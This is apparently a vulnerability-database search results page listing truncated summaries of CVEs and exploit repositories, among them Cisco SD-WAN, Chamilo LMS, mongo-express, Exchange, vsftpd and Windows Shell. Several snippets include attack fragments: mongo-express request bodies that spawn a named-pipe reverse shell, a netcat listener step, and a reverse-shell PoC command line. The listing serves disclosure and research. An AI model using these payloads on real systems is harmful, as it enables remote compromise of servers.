34883 matches found
CVE-2022-20818
CVE-2022-20818：通过 Cisco SD-WAN 中的部分文件读取实现本地权限提升 Viptela SSH shell 的 "config - load" 功能使用 "wget" 通过 FTP 获取远程 "command" 文件。通过托管恶意 FTP 服务器并将 wget 创建的本地文件替换为符号链接，攻击者可以利用运行命令的 "root" 权限读取任意文件的第一行。 通过读取 "/etc/confd/confdetcsecret" 中的机密信息，攻击者能够在机器上获得具有 "root" 权限的交互式 shell。 厂商披露： 该漏洞的厂商披露和修复可参见此处。 要求：...
CVE-2021-42561
CVE-2021-42561：MITRE Caldera 中 Human 插件的命令注入 在 Caldera（版本 =2.8.1）中，Human 插件会将未经净化的 name 参数传递给 python 的 "os.system" 函数。这允许攻击者使用 shell 元字符（例如反引号 "" 或美元括号 "$"）来转义当前命令并执行任意 shell 命令。 厂商披露： 该漏洞的厂商披露信息可在此处查看。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...
CVE-2026-29041
CVE-2026-29041 — 通过 Chamilo LMS 1.11.32 中的无限制文件上传实现已认证 RCE -yellow?style=for-the-badge Chamilo LMS 1.11.32 中通过 ckuploadimage AJAX 端点的不当文件上传验证实现已认证远程代码执行 。低权限学生可上传伪装成图片的 PHP Web Shell，从而实现完全服务器沦陷。 📋 漏洞摘要 字段| 详情 ---|--- 产品| Chamilo LMS 版本| 1.11.32（已确认） 漏洞类型| 危险类型文件的无限制上传（CWE-434） 影响| 已认证远程代码执行（RCE）...
CVE-2019-10758
CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...
cve-2017-2824-reverse-shell
This repository does not have a README...
EUVD-2026-72936
A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...
CVE-2026-20293
A vulnerability in the UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances allows bypassing UEFI Secure Boot validation checks. The root cause is the availability of memory write commands in the UEFI Shell while Secure Boot is enabled. An attacker—authenticated with user or ad...
CVE-2026-20293 Cisco UCS and UCS-Based Appliances UEFI Shell Secure Boot Bypass Vulnerability
A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...
CVE-2020-0688
CVE-2020-0688 Working Exploit PoC CVE-2020-0688 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
vsftpd-234-backdoor
vsftpd 2.3.4 后门利用工具 一个轻量级、无外部依赖的 Python 3 利用工具，用于 vsftpd 2.3.4 后门 （CVE-2011-2523 ）。它通过 FTP 触发后门，并将你放入一个交互式 root shell 中，连接到生成的监听器。 作为依赖 telnetlib 的旧利用脚本的现代替代品编写——该库已在 Python 3.13 中从标准库中移除。此版本仅使用标准库，并通过 select 读取 shell，而不是固定睡眠，因此输出不会被截断。 ⚠️ 仅限授权使用。 此工具针对已知存在漏洞的服务，旨在用于安全教育和实验室环境，例如 Metasploitable 2...
React2Shell_Exploit
React2ShellExploit CVE-2025-55182 我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序 用法 1. 保存脚本：将上述代码保存为 exploit.py。 2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。 root@kitploit: echo " reactor.htb" | sudo tee -a /etc/hosts 3. 启动监听：打开一个终端以接收反弹 Shell。 root@kitploit: nc -lvnp 4444 4...
EUVD-2026-72869
Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client mysql without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as ! as local shell commands. An authenticated...
CVE-2026-86733 Snipe-IT before 8.7.0 Remote Code Execution via Backup Restore
Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client mysql without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as ! as local shell commands. An authenticated...
firefox: Privilege escalation in the Shell Integration component
A flaw was found in Firefox. The Mozilla Foundation's Security Advisory describes the following issue: Privilege escalation in the Shell Integration component...
Windows Shell Elevation of Privilege Vulnerability
Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...
Windows Shell Remote Code Execution Vulnerability
Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network...
Windows Shell Spoofing Vulnerability
Improper link resolution before file access 'link following' in Windows Shell allows an unauthorized attacker to perform spoofing over a network...
Windows Shell Elevation of Privilege Vulnerability
External control of file name or path in Windows Shell allows an authorized attacker to elevate privileges locally...